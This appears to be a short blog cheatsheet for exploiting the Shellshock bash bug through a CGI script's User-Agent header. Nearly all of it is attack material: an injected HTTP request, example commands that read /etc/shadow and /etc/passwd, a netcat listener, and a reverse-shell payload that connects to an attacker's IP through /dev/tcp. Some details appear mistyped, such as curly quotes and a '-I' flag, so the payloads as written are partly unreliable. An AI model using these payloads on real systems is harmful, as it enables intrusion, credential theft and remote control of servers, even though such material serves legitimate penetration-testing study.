Tamar Everson

Tamar Everson | www.tamareverson.com
Shellshock Cheatsheet
06 May 2021

Technique Name

```
GET /cgi-bin/{vulnerableCgiScript} HTTP/1.1
User-Agent: () { :; }; /bin/bash -c ‘{command}’
```

String required to exploit Shellshock in the User-Agent header
Command - e.g. cat /etc/shadow

Useful Payloads

After the `() { :;};` any command can be executed, such as the following

```
/bin/cat /etc/passwd
/bin/bash -c ‘{command}’
```

Reverse Shell

Attacker’s Computer

```
nc -l {port}
```

Shellshock Payload

```
(){ ignored;}; /bin/bash -I >&
/dev/tcp/{attackerIp}/{attackerPort} 0>&1
```